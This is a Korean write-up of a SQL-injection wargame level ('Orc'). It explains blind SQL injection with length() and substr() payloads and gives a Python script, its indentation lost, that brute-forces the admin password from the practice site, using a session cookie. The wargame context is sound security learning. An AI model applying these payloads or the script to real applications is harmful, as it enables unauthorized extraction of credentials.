[Lord of SQLinjection] Orc
LOS(los.eagle-jump.org) Orc
이번 문제는 단순히 조건을 참으로 맞추는게 아니라 정확한 pw 값까지 맞춰야 한다. 위쪽 소스만 보면 단순히 조건문을 참으로 맞춰 Hello Admin을 띄울 수 있지만 마지막 2번째줄을 보면 입력한 pw값과 실제 pw값을 비교하여 참일경우 solve함수를 호출한다. pw값을 정확히 맞추기 위해서 사용할 수 있는 방법은 단순 Brute Forcing도 있지만 좀 더 확실한 방법으로 Bline SQL injection이 있다.
먼저 pw의 정확한 값을 얻어내야한다. 앞쪽 조건을 참 혹은 거짓으로 만든 뒤 뒤에 추가 조건문을 삽입한다. 이때 조건문에 length함수를 이용한다. 예를들면 ' or id='admin' and length(pw)=1# 이라는 조건문을 넣을 경우 id가 admindlaustj pw의 길이가 1인지 체크하는데 뒤에 숫자를 변경해가면서 정확한 pw의 길이를 구할 수 있다. 이때 조건이 참일 경우 Hello admin이 출력된다. (#은 주석문으로 뒤에 남아 있는 녀석들을 날려준다.)
그 뒤에 substr함수를 이용하여 정확한 pw값을 한글자 한글자씩 맞춘다. 예를들어 ' or id='admin' and substr(pw,1,1)=A#라고 할 경우 pw의 첫번째 문자열부터 한글자만 가져와서 A인지 아닌지 비교한다. pw의 첫번째 문자가 A가 맞다면 Hello admin이 출력된다. 결국 어느정도의 노가다(?)가 필요한데 이는 간단한 Python 스크립트를 이용하면 해결 할 수 있다. 아래가 풀이 코드.
import urllib2
import requests
flag = ""
length = 0
i = 1
session = dict(PHPSESSID = "f1gj7fcplbdp1iupb9jcn1sd20")
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
while True:
q = url + "' or id='admin' and length(pw)="+str(i)+"%23"
print 'TEST #',i
print q
r = requests.post(q, cookies=session)
if 'Hello admin' in r.text:
length = i
break
i = i + 1
print " PASSWORD LENGTH : ", length
for j in range(1, length +1):
for i in range(49,123):
q = url + "' or id='admin' and substr(pw, "+str(j)+",1)="+"'"+chr(i)+"'"+"%23"
print 'TEST #', j, '-', i
print q
r = requests.post(q,cookies=session)
if 'Hello admin' in r.text:
flag += chr(i)
print "FLAG : ",flag
break
이걸 풀때 시간이 좀 걸렸는데.. pw값을 추출하는 과정에서 substr(pw,1,1)='값' 이라는 부분이 있는데 처음엔 '값'이 아니라 값으로만 썼다. 이렇게 할때 문제가 숫자는 잘 뽑아내는데 문자를 제대로 비교할 수 없었다. 그래서 '값'으로 변경했더니 매우 잘 작동. '숫자'와 숫자를 같은 값으로 보고 '문자'와 문자는 다르게 보는듯.